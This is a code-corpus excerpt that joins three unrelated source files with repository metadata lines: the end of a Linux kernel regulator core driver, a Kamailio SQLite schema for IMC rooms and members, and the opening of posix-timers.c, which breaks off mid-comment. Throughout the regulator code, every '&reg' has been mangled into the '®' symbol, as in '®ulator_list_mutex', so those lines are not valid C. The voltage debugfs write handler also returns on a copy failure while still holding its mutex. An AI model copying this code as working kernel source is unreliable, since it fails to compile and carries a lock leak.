&dev_attr_suspend_disk_mode);
if (status < 0)
return status;
}
return status;
}
#ifdef CONFIG_DEBUG_FS
#define MAX_DEBUG_BUF_LEN 50
static DEFINE_MUTEX(debug_buf_mutex);
static char debug_buf[MAX_DEBUG_BUF_LEN];
static int reg_debug_enable_set(void *data, u64 val)
{
int err_info;
if (IS_ERR(data) || data == NULL) {
pr_err("Function Input Error %ld\n", PTR_ERR(data));
return -ENOMEM;
}
if (val)
err_info = regulator_enable(data);
else
err_info = regulator_disable(data);
return err_info;
}
static int reg_debug_enable_get(void *data, u64 *val)
{
if (IS_ERR(data) || data == NULL) {
pr_err("Function Input Error %ld\n", PTR_ERR(data));
return -ENOMEM;
}
*val = regulator_is_enabled(data);
return 0;
}
DEFINE_SIMPLE_ATTRIBUTE(reg_enable_fops, reg_debug_enable_get,
reg_debug_enable_set, "%llu\n");
static int reg_debug_fdisable_set(void *data, u64 val)
{
int err_info;
if (IS_ERR(data) || data == NULL) {
pr_err("Function Input Error %ld\n", PTR_ERR(data));
return -ENOMEM;
}
if (val > 0)
err_info = regulator_force_disable(data);
else
err_info = 0;
return err_info;
}
DEFINE_SIMPLE_ATTRIBUTE(reg_fdisable_fops, reg_debug_enable_get,
reg_debug_fdisable_set, "%llu\n");
static ssize_t reg_debug_volt_set(struct file *file, const char __user *buf,
size_t count, loff_t *ppos)
{
int err_info, filled;
int min, max = -1;
if (IS_ERR(file) || file == NULL) {
pr_err("Function Input Error %ld\n", PTR_ERR(file));
return -ENOMEM;
}
if (count < MAX_DEBUG_BUF_LEN) {
mutex_lock(&debug_buf_mutex);
if (copy_from_user(debug_buf, (void __user *) buf, count))
return -EFAULT;
debug_buf[count] = '\0';
filled = sscanf(debug_buf, "%d %d", &min, &max);
mutex_unlock(&debug_buf_mutex);
/* check that user entered two numbers */
if (filled < 2 || min < 0 || max < min) {
pr_info("Error, correct format: 'echo \"min max\""
" > voltage");
return -ENOMEM;
} else {
err_info = regulator_set_voltage(file->private_data,
min, max);
}
} else {
pr_err("Error-Input voltage pair"
" string exceeds maximum buffer length");
return -ENOMEM;
}
return count;
}
static ssize_t reg_debug_volt_get(struct file *file, char __user *buf,
size_t count, loff_t *ppos)
{
int voltage, output, rc;
if (IS_ERR(file) || file == NULL) {
pr_err("Function Input Error %ld\n", PTR_ERR(file));
return -ENOMEM;
}
voltage = regulator_get_voltage(file->private_data);
mutex_lock(&debug_buf_mutex);
output = snprintf(debug_buf, MAX_DEBUG_BUF_LEN-1, "%d\n", voltage);
rc = simple_read_from_buffer((void __user *) buf, output, ppos,
(void *) debug_buf, output);
mutex_unlock(&debug_buf_mutex);
return rc;
}
static int reg_debug_volt_open(struct inode *inode, struct file *file)
{
if (IS_ERR(file) || file == NULL) {
pr_err("Function Input Error %ld\n", PTR_ERR(file));
return -ENOMEM;
}
file->private_data = inode->i_private;
return 0;
}
static const struct file_operations reg_volt_fops = {
.write = reg_debug_volt_set,
.open = reg_debug_volt_open,
.read = reg_debug_volt_get,
};
static int reg_debug_mode_set(void *data, u64 val)
{
int err_info;
if (IS_ERR(data) || data == NULL) {
pr_err("Function Input Error %ld\n", PTR_ERR(data));
return -ENOMEM;
}
err_info = regulator_set_mode(data, (unsigned int)val);
return err_info;
}
static int reg_debug_mode_get(void *data, u64 *val)
{
int err_info;
if (IS_ERR(data) || data == NULL) {
pr_err("Function Input Error %ld\n", PTR_ERR(data));
return -ENOMEM;
}
err_info = regulator_get_mode(data);
if (err_info < 0) {
pr_err("Regulator_get_mode returned an error!\n");
return -ENOMEM;
} else {
*val = err_info;
return 0;
}
}
DEFINE_SIMPLE_ATTRIBUTE(reg_mode_fops, reg_debug_mode_get,
reg_debug_mode_set, "%llu\n");
static int reg_debug_optimum_mode_set(void *data, u64 val)
{
int err_info;
if (IS_ERR(data) || data == NULL) {
pr_err("Function Input Error %ld\n", PTR_ERR(data));
return -ENOMEM;
}
err_info = regulator_set_optimum_mode(data, (unsigned int)val);
if (err_info < 0) {
pr_err("Regulator_set_optimum_mode returned an error!\n");
return err_info;
}
return 0;
}
DEFINE_SIMPLE_ATTRIBUTE(reg_optimum_mode_fops, reg_debug_mode_get,
reg_debug_optimum_mode_set, "%llu\n");
static int reg_debug_consumers_show(struct seq_file *m, void *v)
{
struct regulator_dev *rdev = m->private;
struct regulator *reg;
char *supply_name;
if (!rdev) {
pr_err("regulator device missing");
return -EINVAL;
}
mutex_lock(&rdev->mutex);
/* Print a header if there are consumers. */
if (rdev->open_count)
seq_printf(m, "Device-Supply "
"EN Min_uV Max_uV load_uA\n");
list_for_each_entry(reg, &rdev->consumer_list, list) {
if (reg->supply_name)
supply_name = reg->supply_name;
else
supply_name = "(null)-(null)";
seq_printf(m, "%-32s %c %8d %8d %8d\n", supply_name,
(reg->enabled ? 'Y' : 'N'), reg->min_uV, reg->max_uV,
reg->uA_load);
}
mutex_unlock(&rdev->mutex);
return 0;
}
static int reg_debug_consumers_open(struct inode *inode, struct file *file)
{
return single_open(file, reg_debug_consumers_show, inode->i_private);
}
static const struct file_operations reg_consumers_fops = {
.owner = THIS_MODULE,
.open = reg_debug_consumers_open,
.read = seq_read,
.llseek = seq_lseek,
.release = single_release,
};
static void rdev_init_debugfs(struct regulator_dev *rdev)
{
struct dentry *err_ptr = NULL;
struct regulator *reg;
struct regulator_ops *reg_ops;
mode_t mode;
if (IS_ERR(rdev) || rdev == NULL ||
IS_ERR(debugfs_root) || debugfs_root == NULL) {
pr_err("Error-Bad Function Input\n");
goto error;
}
rdev->debugfs = debugfs_create_dir(rdev_get_name(rdev), debugfs_root);
if (IS_ERR(rdev->debugfs) || !rdev->debugfs) {
rdev_warn(rdev, "Failed to create debugfs directory\n");
rdev->debugfs = NULL;
goto error;
}
debugfs_create_u32("use_count", 0444, rdev->debugfs,
&rdev->use_count);
debugfs_create_u32("open_count", 0444, rdev->debugfs,
&rdev->open_count);
debugfs_create_u32("bypass_count", 0444, rdev->debugfs,
&rdev->bypass_count);
debugfs_create_file("consumers", 0444, rdev->debugfs, rdev,
®_consumers_fops);
reg = regulator_get(NULL, rdev->desc->name);
if (IS_ERR(reg) || reg == NULL) {
pr_err("Error-Bad Function Input\n");
goto error;
}
reg_ops = rdev->desc->ops;
mode = S_IRUGO | S_IWUSR;
/* Enabled File */
if (mode)
err_ptr = debugfs_create_file("enable", mode, rdev->debugfs,
reg, ®_enable_fops);
if (IS_ERR(err_ptr)) {
pr_err("Error-Could not create enable file\n");
debugfs_remove_recursive(rdev->debugfs);
goto error;
}
mode = 0;
/* Force-Disable File */
if (reg_ops->is_enabled)
mode |= S_IRUGO;
if (reg_ops->enable || reg_ops->disable)
mode |= S_IWUSR;
if (mode)
err_ptr = debugfs_create_file("force_disable", mode,
rdev->debugfs, reg, ®_fdisable_fops);
if (IS_ERR(err_ptr)) {
pr_err("Error-Could not create force_disable file\n");
debugfs_remove_recursive(rdev->debugfs);
goto error;
}
mode = 0;
/* Voltage File */
if (reg_ops->get_voltage)
mode |= S_IRUGO;
if (reg_ops->set_voltage)
mode |= S_IWUSR;
if (mode)
err_ptr = debugfs_create_file("voltage", mode, rdev->debugfs,
reg, ®_volt_fops);
if (IS_ERR(err_ptr)) {
pr_err("Error-Could not create voltage file\n");
debugfs_remove_recursive(rdev->debugfs);
goto error;
}
mode = 0;
/* Mode File */
if (reg_ops->get_mode)
mode |= S_IRUGO;
if (reg_ops->set_mode)
mode |= S_IWUSR;
if (mode)
err_ptr = debugfs_create_file("mode", mode, rdev->debugfs,
reg, ®_mode_fops);
if (IS_ERR(err_ptr)) {
pr_err("Error-Could not create mode file\n");
debugfs_remove_recursive(rdev->debugfs);
goto error;
}
mode = 0;
/* Optimum Mode File */
if (reg_ops->get_mode)
mode |= S_IRUGO;
if (reg_ops->set_mode)
mode |= S_IWUSR;
if (mode)
err_ptr = debugfs_create_file("optimum_mode", mode,
rdev->debugfs, reg, ®_optimum_mode_fops);
if (IS_ERR(err_ptr)) {
pr_err("Error-Could not create optimum_mode file\n");
debugfs_remove_recursive(rdev->debugfs);
goto error;
}
error:
return;
}
#else
static inline void rdev_init_debugfs(struct regulator_dev *rdev)
{
return;
}
#endif
/**
* regulator_register - register regulator
* @regulator_desc: regulator to register
* @config: runtime configuration for regulator
*
* Called by regulator drivers to register a regulator.
* Returns a valid pointer to struct regulator_dev on success
* or an ERR_PTR() on error.
*/
struct regulator_dev *
regulator_register(const struct regulator_desc *regulator_desc,
const struct regulator_config *config)
{
const struct regulation_constraints *constraints = NULL;
const struct regulator_init_data *init_data;
static atomic_t regulator_no = ATOMIC_INIT(0);
struct regulator_dev *rdev;
struct device *dev;
int ret, i;
const char *supply = NULL;
if (regulator_desc == NULL || config == NULL)
return ERR_PTR(-EINVAL);
dev = config->dev;
WARN_ON(!dev);
if (regulator_desc->name == NULL || regulator_desc->ops == NULL)
return ERR_PTR(-EINVAL);
if (regulator_desc->type != REGULATOR_VOLTAGE &&
regulator_desc->type != REGULATOR_CURRENT)
return ERR_PTR(-EINVAL);
/* Only one of each should be implemented */
WARN_ON(regulator_desc->ops->get_voltage &&
regulator_desc->ops->get_voltage_sel);
WARN_ON(regulator_desc->ops->set_voltage &&
regulator_desc->ops->set_voltage_sel);
/* If we're using selectors we must implement list_voltage. */
if (regulator_desc->ops->get_voltage_sel &&
!regulator_desc->ops->list_voltage) {
return ERR_PTR(-EINVAL);
}
if (regulator_desc->ops->set_voltage_sel &&
!regulator_desc->ops->list_voltage) {
return ERR_PTR(-EINVAL);
}
init_data = config->init_data;
rdev = kzalloc(sizeof(struct regulator_dev), GFP_KERNEL);
if (rdev == NULL)
return ERR_PTR(-ENOMEM);
mutex_lock(®ulator_list_mutex);
mutex_init(&rdev->mutex);
rdev->reg_data = config->driver_data;
rdev->owner = regulator_desc->owner;
rdev->desc = regulator_desc;
if (config->regmap)
rdev->regmap = config->regmap;
else if (dev_get_regmap(dev, NULL))
rdev->regmap = dev_get_regmap(dev, NULL);
else if (dev->parent)
rdev->regmap = dev_get_regmap(dev->parent, NULL);
INIT_LIST_HEAD(&rdev->consumer_list);
INIT_LIST_HEAD(&rdev->list);
BLOCKING_INIT_NOTIFIER_HEAD(&rdev->notifier);
INIT_DELAYED_WORK(&rdev->disable_work, regulator_disable_work);
/* preform any regulator specific init */
if (init_data && init_data->regulator_init) {
ret = init_data->regulator_init(rdev->reg_data);
if (ret < 0)
goto clean;
}
/* register with sysfs */
rdev->dev.class = ®ulator_class;
rdev->dev.of_node = config->of_node;
rdev->dev.parent = dev;
dev_set_name(&rdev->dev, "regulator.%d",
atomic_inc_return(®ulator_no) - 1);
ret = device_register(&rdev->dev);
if (ret != 0) {
put_device(&rdev->dev);
goto clean;
}
dev_set_drvdata(&rdev->dev, rdev);
if (config->ena_gpio && gpio_is_valid(config->ena_gpio)) {
ret = regulator_ena_gpio_request(rdev, config);
if (ret != 0) {
rdev_err(rdev, "Failed to request enable GPIO%d: %d\n",
config->ena_gpio, ret);
goto wash;
}
}
/* set regulator constraints */
if (init_data)
constraints = &init_data->constraints;
ret = set_machine_constraints(rdev, constraints);
if (ret < 0)
goto scrub;
/* add attributes supported by this regulator */
ret = add_regulator_attributes(rdev);
if (ret < 0)
goto scrub;
if (init_data && init_data->supply_regulator)
supply = init_data->supply_regulator;
else if (regulator_desc->supply_name)
supply = regulator_desc->supply_name;
if (supply) {
struct regulator_dev *r;
r = regulator_dev_lookup(dev, supply, &ret);
if (ret == -ENODEV) {
/*
* No supply was specified for this regulator and
* there will never be one.
*/
ret = 0;
goto add_dev;
} else if (!r) {
dev_err(dev, "Failed to find supply %s\n", supply);
ret = -EPROBE_DEFER;
goto scrub;
}
ret = set_supply(rdev, r);
if (ret < 0)
goto scrub;
}
add_dev:
/* add consumers devices */
if (init_data) {
for (i = 0; i < init_data->num_consumer_supplies; i++) {
ret = set_consumer_device_supply(rdev,
init_data->consumer_supplies[i].dev_name,
init_data->consumer_supplies[i].supply);
if (ret < 0) {
dev_err(dev, "Failed to set supply %s\n",
init_data->consumer_supplies[i].supply);
goto unset_supplies;
}
}
}
list_add(&rdev->list, ®ulator_list);
mutex_unlock(®ulator_list_mutex);
rdev_init_debugfs(rdev);
rdev->proxy_consumer = regulator_proxy_consumer_register(dev,
config->of_node);
return rdev;
out:
mutex_unlock(®ulator_list_mutex);
return rdev;
unset_supplies:
unset_regulator_supplies(rdev);
scrub:
if (rdev->supply)
_regulator_put(rdev->supply);
regulator_ena_gpio_free(rdev);
kfree(rdev->constraints);
wash:
device_unregister(&rdev->dev);
/* device core frees rdev */
rdev = ERR_PTR(ret);
goto out;
clean:
kfree(rdev);
rdev = ERR_PTR(ret);
goto out;
}
EXPORT_SYMBOL_GPL(regulator_register);
/**
* regulator_unregister - unregister regulator
* @rdev: regulator to unregister
*
* Called by regulator drivers to unregister a regulator.
*/
void regulator_unregister(struct regulator_dev *rdev)
{
if (rdev == NULL)
return;
if (rdev->supply)
regulator_put(rdev->supply);
regulator_proxy_consumer_unregister(rdev->proxy_consumer);
mutex_lock(®ulator_list_mutex);
debugfs_remove_recursive(rdev->debugfs);
flush_work(&rdev->disable_work.work);
WARN_ON(rdev->open_count);
unset_regulator_supplies(rdev);
list_del(&rdev->list);
kfree(rdev->constraints);
regulator_ena_gpio_free(rdev);
device_unregister(&rdev->dev);
mutex_unlock(®ulator_list_mutex);
}
EXPORT_SYMBOL_GPL(regulator_unregister);
/**
* regulator_suspend_prepare - prepare regulators for system wide suspend
* @state: system suspend state
*
* Configure each regulator with it's suspend operating parameters for state.
* This will usually be called by machine suspend code prior to supending.
*/
int regulator_suspend_prepare(suspend_state_t state)
{
struct regulator_dev *rdev;
int ret = 0;
/* ON is handled by regulator active state */
if (state == PM_SUSPEND_ON)
return -EINVAL;
mutex_lock(®ulator_list_mutex);
list_for_each_entry(rdev, ®ulator_list, list) {
mutex_lock(&rdev->mutex);
ret = suspend_prepare(rdev, state);
mutex_unlock(&rdev->mutex);
if (ret < 0) {
rdev_err(rdev, "failed to prepare\n");
goto out;
}
}
out:
mutex_unlock(®ulator_list_mutex);
return ret;
}
EXPORT_SYMBOL_GPL(regulator_suspend_prepare);
/**
* regulator_suspend_finish - resume regulators from system wide suspend
*
* Turn on regulators that might be turned off by regulator_suspend_prepare
* and that should be turned on according to the regulators properties.
*/
int regulator_suspend_finish(void)
{
struct regulator_dev *rdev;
int ret = 0, error;
mutex_lock(®ulator_list_mutex);
list_for_each_entry(rdev, ®ulator_list, list) {
mutex_lock(&rdev->mutex);
if (rdev->use_count > 0 || rdev->constraints->always_on) {
if (!_regulator_is_enabled(rdev)) {
error = _regulator_do_enable(rdev);
if (error)
ret = error;
}
} else {
if (!has_full_constraints)
goto unlock;
if (!_regulator_is_enabled(rdev))
goto unlock;
error = _regulator_do_disable(rdev);
if (error)
ret = error;
}
unlock:
mutex_unlock(&rdev->mutex);
}
mutex_unlock(®ulator_list_mutex);
return ret;
}
EXPORT_SYMBOL_GPL(regulator_suspend_finish);
/**
* regulator_has_full_constraints - the system has fully specified constraints
*
* Calling this function will cause the regulator API to disable all
* regulators which have a zero use count and don't have an always_on
* constraint in a late_initcall.
*
* The intention is that this will become the default behaviour in a
* future kernel release so users are encouraged to use this facility
* now.
*/
void regulator_has_full_constraints(void)
{
has_full_constraints = 1;
}
EXPORT_SYMBOL_GPL(regulator_has_full_constraints);
/**
* regulator_use_dummy_regulator - Provide a dummy regulator when none is found
*
* Calling this function will cause the regulator API to provide a
* dummy regulator to consumers if no physical regulator is found,
* allowing most consumers to proceed as though a regulator were
* configured. This allows systems such as those with software
* controllable regulators for the CPU core only to be brought up more
* readily.
*/
void regulator_use_dummy_regulator(void)
{
board_wants_dummy_regulator = true;
}
EXPORT_SYMBOL_GPL(regulator_use_dummy_regulator);
/**
* regulator_suppress_info_printing - disable printing of info messages
*
* The regulator framework calls print_constraints() when a regulator is
* registered. It also prints a disable message for each unused regulator in
* regulator_init_complete().
*
* Calling this function ensures that such messages do not end up in the
* log.
*/
void regulator_suppress_info_printing(void)
{
suppress_info_printing = 1;
}
EXPORT_SYMBOL_GPL(regulator_suppress_info_printing);
/**
* rdev_get_drvdata - get rdev regulator driver data
* @rdev: regulator
*
* Get rdev regulator driver private data. This call can be used in the
* regulator driver context.
*/
void *rdev_get_drvdata(struct regulator_dev *rdev)
{
return rdev->reg_data;
}
EXPORT_SYMBOL_GPL(rdev_get_drvdata);
/**
* regulator_get_drvdata - get regulator driver data
* @regulator: regulator
*
* Get regulator driver private data. This call can be used in the consumer
* driver context when non API regulator specific functions need to be called.
*/
void *regulator_get_drvdata(struct regulator *regulator)
{
return regulator->rdev->reg_data;
}
EXPORT_SYMBOL_GPL(regulator_get_drvdata);
/**
* regulator_set_drvdata - set regulator driver data
* @regulator: regulator
* @data: data
*/
void regulator_set_drvdata(struct regulator *regulator, void *data)
{
regulator->rdev->reg_data = data;
}
EXPORT_SYMBOL_GPL(regulator_set_drvdata);
/**
* regulator_get_id - get regulator ID
* @rdev: regulator
*/
int rdev_get_id(struct regulator_dev *rdev)
{
return rdev->desc->id;
}
EXPORT_SYMBOL_GPL(rdev_get_id);
struct device *rdev_get_dev(struct regulator_dev *rdev)
{
return &rdev->dev;
}
EXPORT_SYMBOL_GPL(rdev_get_dev);
void *regulator_get_init_drvdata(struct regulator_init_data *reg_init_data)
{
return reg_init_data->driver_data;
}
EXPORT_SYMBOL_GPL(regulator_get_init_drvdata);
#ifdef CONFIG_DEBUG_FS
static ssize_t supply_map_read_file(struct file *file, char __user *user_buf,
size_t count, loff_t *ppos)
{
char *buf = kmalloc(PAGE_SIZE, GFP_KERNEL);
ssize_t len, ret = 0;
struct regulator_map *map;
if (!buf)
return -ENOMEM;
list_for_each_entry(map, ®ulator_map_list, list) {
len = snprintf(buf + ret, PAGE_SIZE - ret,
"%s -> %s.%s\n",
rdev_get_name(map->regulator), map->dev_name,
map->supply);
if (len >= 0)
ret += len;
if (ret > PAGE_SIZE) {
ret = PAGE_SIZE;
break;
}
}
ret = simple_read_from_buffer(user_buf, count, ppos, buf, ret);
kfree(buf);
return ret;
}
#endif
static const struct file_operations supply_map_fops = {
#ifdef CONFIG_DEBUG_FS
.read = supply_map_read_file,
.llseek = default_llseek,
#endif
};
static int __init regulator_init(void)
{
int ret;
ret = class_register(®ulator_class);
debugfs_root = debugfs_create_dir("regulator", NULL);
if (!debugfs_root)
pr_warn("regulator: Failed to create debugfs directory\n");
debugfs_create_file("supply_map", 0444, debugfs_root, NULL,
&supply_map_fops);
regulator_dummy_init();
return ret;
}
/* init early to allow our consumers to complete system booting */
core_initcall(regulator_init);
static int __init regulator_init_complete(void)
{
struct regulator_dev *rdev;
struct regulator_ops *ops;
struct regulation_constraints *c;
int enabled, ret;
/*
* Since DT doesn't provide an idiomatic mechanism for
* enabling full constraints and since it's much more natural
* with DT to provide them just assume that a DT enabled
* system has full constraints.
*/
if (of_have_populated_dt())
has_full_constraints = true;
mutex_lock(®ulator_list_mutex);
/* If we have a full configuration then disable any regulators
* which are not in use or always_on. This will become the
* default behaviour in the future.
*/
list_for_each_entry(rdev, ®ulator_list, list) {
ops = rdev->desc->ops;
c = rdev->constraints;
if (c && c->always_on)
continue;
mutex_lock(&rdev->mutex);
if (rdev->use_count)
goto unlock;
/* If we can't read the status assume it's on. */
if (ops->is_enabled)
enabled = ops->is_enabled(rdev);
else
enabled = 1;
if (!enabled)
goto unlock;
if (has_full_constraints) {
/* We log since this may kill the system if it
* goes wrong. */
if (!suppress_info_printing)
rdev_info(rdev, "disabling\n");
ret = _regulator_do_disable(rdev);
if (ret != 0) {
rdev_err(rdev, "couldn't disable: %d\n", ret);
}
} else {
/* The intention is that in future we will
* assume that full constraints are provided
* so warn even if we aren't going to do
* anything here.
*/
if (!suppress_info_printing)
rdev_warn(rdev, "incomplete constraints, "
"leaving on\n");
}
unlock:
mutex_unlock(&rdev->mutex);
}
mutex_unlock(®ulator_list_mutex);
return 0;
}
late_initcall(regulator_init_complete);
| NStep/nx_bullhead | drivers/regulator/core.c | C | gpl-2.0 | 115,217 |
CREATE TABLE imc_rooms (
id INTEGER PRIMARY KEY NOT NULL,
name VARCHAR(64) NOT NULL,
domain VARCHAR(64) NOT NULL,
flag INTEGER NOT NULL,
CONSTRAINT imc_rooms_name_domain_idx UNIQUE (name, domain)
);
INSERT INTO version (table_name, table_version) values ('imc_rooms','1');
CREATE TABLE imc_members (
id INTEGER PRIMARY KEY NOT NULL,
username VARCHAR(64) NOT NULL,
domain VARCHAR(64) NOT NULL,
room VARCHAR(64) NOT NULL,
flag INTEGER NOT NULL,
CONSTRAINT imc_members_account_room_idx UNIQUE (username, domain, room)
);
INSERT INTO version (table_name, table_version) values ('imc_members','1');
| vingarzan/kamailio | utils/kamctl/db_sqlite/imc-create.sql | SQL | gpl-2.0 | 642 |
/*
* linux/kernel/posix-timers.c
*
*
* 2002-10-15 Posix Clocks & timers
* by George Anzinger george@mvista.com
*
* Copyright (C) 2002 2003 by MontaVista Software.
*
* 2004-06-01 Fix CLOCK_REALTIME clock/timer TIMER_ABSTIME bug.
* Copyright (C) 2004 Boris Hu
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or (at
* your option) any later version.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*
* MontaVista Software | 1237 East Arques Avenue | Sunnyvale | CA 94085 | USA
*/
/* These are all the functions necessary to implement
* POSIX clocks & timers
*/
#include <linux/mm.h>
#include <linux/interrupt.h>
#include <linux/slab.h>
#include <linux/time.h>
#include <linux/mutex.h>
#include <asm/uaccess.h>
#include <linux/list.h>
#include <linux/init.h>
#include <linux/compiler.h>
#include <linux/idr.h>
#include <linux/posix-timers.h>
#include <linux/syscalls.h>
#include <linux/wait.h>
#include <linux/workqueue.h>
#include <linux/module.h>
/*
* Management arrays for POSIX timers. Timers are kept in slab memory
* Timer ids are allocated by an external routine that keeps track of the
* id and the timer. The external interface is:
*
* void *idr_find(struct idr *idp, int id); to find timer_id <id>
* int idr_get_new(struct idr *idp, void *ptr); to get a new id and
* related it to <ptr>
* void idr_remove(struct idr *idp, int id); to release <id>
* void idr_init(struct idr *idp); to initialize <idp>
* which we supply.
* The idr_get_new *may* call slab for more memory so it must not be
* called under a spin lock. Likewise idr_remore may release memory
* (but it may be ok to do this under a lock...).
* idr_find is just a memory look up and is quite fast. A -1 return
* indicates that the requested id does not exist.
*/
/*
* Lets keep our timers in a slab cache :-)
*/
static struct kmem_cache *posix_timers_cache;
static struct idr posix_timers_id;
static DEFINE_SPINLOCK(idr_lock);
/*
* we assume that the new SIGEV_THREAD_ID shares no bits with the other
* SIGEV values. Here we put out an error if this assumption fails.
*/
#if SIGEV_THREAD_ID != (SIGEV_THREAD_ID & \
~(SIGEV_SIGNAL | SIGEV_NONE | SIGEV_THREAD))
#error "SIGEV_THREAD_ID must not share bit with other SIGEV values!"
#endif
/*
* The timer ID is turned into a timer address by idr_find().
* Verifying a valid ID consists of:
*
* a) checking that idr_find() returns other than -1.
* b) checking that the timer id matches the one in the timer itself.
* c) that the timer owner is in the callers thread group.
*/
/*
* CLOCKs: The POSIX standard calls for a couple of clocks and allows us
* to implement others. This structure defines the various
* clocks and allows the possibility of adding others. We
* provide an interface to add clocks to the table and expect
* the "arch" code to add at least one clock that is high
* resolution. Here we define the standard CLOCK_REALTIME as a
* 1/HZ resolution clock.
*
* RESOLUTION: Clock resolution is used to round up timer and interval
* times, NOT to report clock times, which are reported with as
* much resolution as the system can muster. In some cases this
* resolution may depend on the underlying clock hardware and
* may not be quantifiable until run time, and only then is the
* necessary code is written. The standard says we should say
* something about this issue in the documentation...
*
* FUNCTIONS: The CLOCKs structure defines possible functions to handle
* various clock functions. For clocks that use the standard
* system timer code these entries should be NULL. This will
* allow dispatch without the overhead of indirect function
* calls. CLOCKS that depend on other sources (e.g. WWV or GPS)
* must supply functions here, even if the function just returns
* ENOSYS. The standard POSIX timer management code assumes the
* following: 1.) The k_itimer struct (sched.h) is used for the
* timer. 2.) The list, it_lock, it_clock, it_id and it_process
* fields are not modified by timer code.
*
* At this time all functions EXCEPT clock_nanosleep can be
* redirected by the CLOCKS structure. Clock_nanosleep is in
* there, but the code ignores it.
*
* Permissions: It is assumed that the clock_settime() function defined
* for each clock will take care of permission checks. Some
* clocks may be set able by any user (i.e. local process
* clocks) others not. Currently the only set able clock we
* have is CLOCK_REALTIME and its high res counter part, both of
* which we beg off on and pass to do_sys_settimeofday().
*/
static struct k_clock posix_clocks[MAX_CLOCKS];
/*
* These ones are defined below.
*/
static int common_nsleep(const clockid_t, int flags, struct timespec *t,
struct timespec __user *rmtp);
static void common_timer_get(struct k_itimer *, struct itimerspec *);
static int common_timer_set(struct k_itimer *, int,
struct itimerspec *, struct itimerspec *);
static int common_timer_del(struct k_itimer *timer);
static enum hrtimer_restart posix_timer_fn(struct hrtimer *data);
static struct k_itimer *lock_timer(timer_t timer_id, unsigned long *flags);
static inline void unlock_timer(struct k_itimer *timr, unsigned long flags)
{
spin_unlock_irqrestore(&timr->it_lock, flags);
}
/*
* Call the k_clock hook function if non-null, or the default function.
*/
#define CLOCK_DISPATCH(clock, call, arglist) \
((clock) < 0 ? posix_cpu_##call arglist : \
(posix_clocks[clock].call != NULL \
? (*posix_clocks[clock].call) arglist : common_##call arglist))
/*
* Default clock hook functions when the struct k_clock passed
* to register_posix_clock leaves a function pointer null.
*
* The function common_CALL is the default implementation for
* the function pointer CALL in struct k_clock.
*/
static inline int common_clock_getres(const clockid_t which_clock,
struct timespec *tp)
{
tp->tv_sec = 0;
tp->tv_nsec = posix_clocks[which_clock].res;
return 0;
}
/*
* Get real time for posix timers
*/
static int common_clock_get(clockid_t which_clock, struct timespec *tp)
{
ktime_get_real_ts(tp);
return 0;
}
static inline int common_clock_set(const clockid_t which_clock,
struct timespec *tp)
{
return do_sys_settimeofday(tp, NULL);
}
static int common_timer_create(struct k_itimer *new_timer)
{
hrtimer_init(&new_timer->it.real.timer, new_timer->it_clock, 0);
return 0;
}
static int no_timer_create(struct k_itimer *new_timer)
{
return -EOPNOTSUPP;
}
/*
* Return nonzero if we know a priori this clockid_t value is bogus.
*/
static inline int invalid_clockid(const clockid_t which_clock)
{
if (which_clock < 0) /* CPU clock, posix_cpu_* will check it */
return 0;
if ((unsigned) which_clock >= MAX_CLOCKS)
return 1;
if (posix_clocks[which_clock].clock_getres != NULL)
return 0;
if (posix_clocks[which_clock].res != 0)
return 0;
return 1;
}
/*
* Get monotonic time for posix timers
*/
static int posix_ktime_get_ts(clockid_t which_clock, struct timespec *tp)
{
ktime_get_ts(tp);
return 0;
}
/*
* Get monotonic time for posix timers
*/
static int posix_get_monotonic_raw(clockid_t which_clock, struct timespec *tp)
{
getrawmonotonic(tp);
return 0;
}
/*
* Initialize everything, well, just everything in Posix clocks/timers ;)
*/
static __init int init_posix_timers(void)
{
struct k_clock clock_realtime = {
.clock_getres = hrtimer_get_res,
};
struct k_clock clock_monotonic = {
.clock_getres = hrtimer_get_res,
.clock_get = posix_ktime_get_ts,
.clock_set = do_posix_clock_nosettime,
};
struct k_clock clock_monotonic_raw = {
.clock_getres = hrtimer_get_res,
.clock_get = posix_get_monotonic_raw,
.clock_set = do_posix_clock_nosettime,
.timer_create = no_timer_create,
};
register_posix_clock(CLOCK_REALTIME, &clock_realtime);
register_posix_clock(CLOCK_MONOTONIC, &clock_monotonic);
register_posix_clock(CLOCK_MONOTONIC_RAW, &clock_monotonic_raw);
posix_timers_cache = kmem_cache_create("posix_timers_cache",
sizeof (struct k_itimer), 0, SLAB_PANIC,
NULL);
idr_init(&posix_timers_id);
return 0;
}
__initcall(init_posix_timers);
static void schedule_next_timer(struct k_itimer *timr)
{
struct hrtimer *timer = &timr->it.real.timer;
if (timr->it.real.interval.tv64 == 0)
return;
timr->it_overrun += (unsigned int) hrtimer_forward(timer,
timer->base->get_time(),
timr->it.real.interval);
timr->it_overrun_last = timr->it_overrun;
timr->it_overrun = -1;
++timr->it_requeue_pending;
hrtimer_restart(timer);
}
/*
* This function is exported for use by the signal deliver code. It is
* called just prior to the info block being released and passes that
* block to us. It's function is to update the overrun entry AND to
* restart the timer. It should only be called if the timer is to be
* restarted (i.e. we have flagged this in the sys_private entry of the
* info block).
*
* To protect aginst the timer going away while the interrupt is queued,
* we require that the it_requeue_pending flag be set.
*/
void do_schedule_next_timer(struct siginfo *info)
{
struct k_itimer *timr;
unsigned long flags;
timr = lock_timer(info->si_tid, &flags);
if (timr && timr->it_requeue_pending == info->si_sys_private) {
if (timr->it_clock < 0)
posix_cpu_timer_schedule(timr);
else
schedule_next_timer(timr);
info->si_overrun += timr->it_overrun_last;
}
if (timr)
unlock_timer(timr, flags);
}
int posix_timer_event(struct k_itimer *timr, int si_private)
{
int shared, ret;
/*
* FIXME: if ->sigq is queued we can race with
* dequeue_signal()->do_schedule_next_timer().
*
* If dequeue_signal() sees the "right" value of
* si_sys_private it calls do_schedule_next_timer().
* We re-queue ->sigq and drop ->it_lock().
* do_schedule_next_timer() locks the timer
* and re-schedules it while ->sigq is pending.
* Not really bad, but not that we want.
*/
timr->sigq->info.si_sys_private = si_private;
shared = !(timr->it_sigev_notify & SIGEV_THREAD_ID);
ret = send_sigqueue(timr->sigq, timr->it_process, shared);
/* If we failed to send the signal the timer stops. */
return ret > 0;
}
EXPORT_SYMBOL_GPL(posix_timer_event);
/*
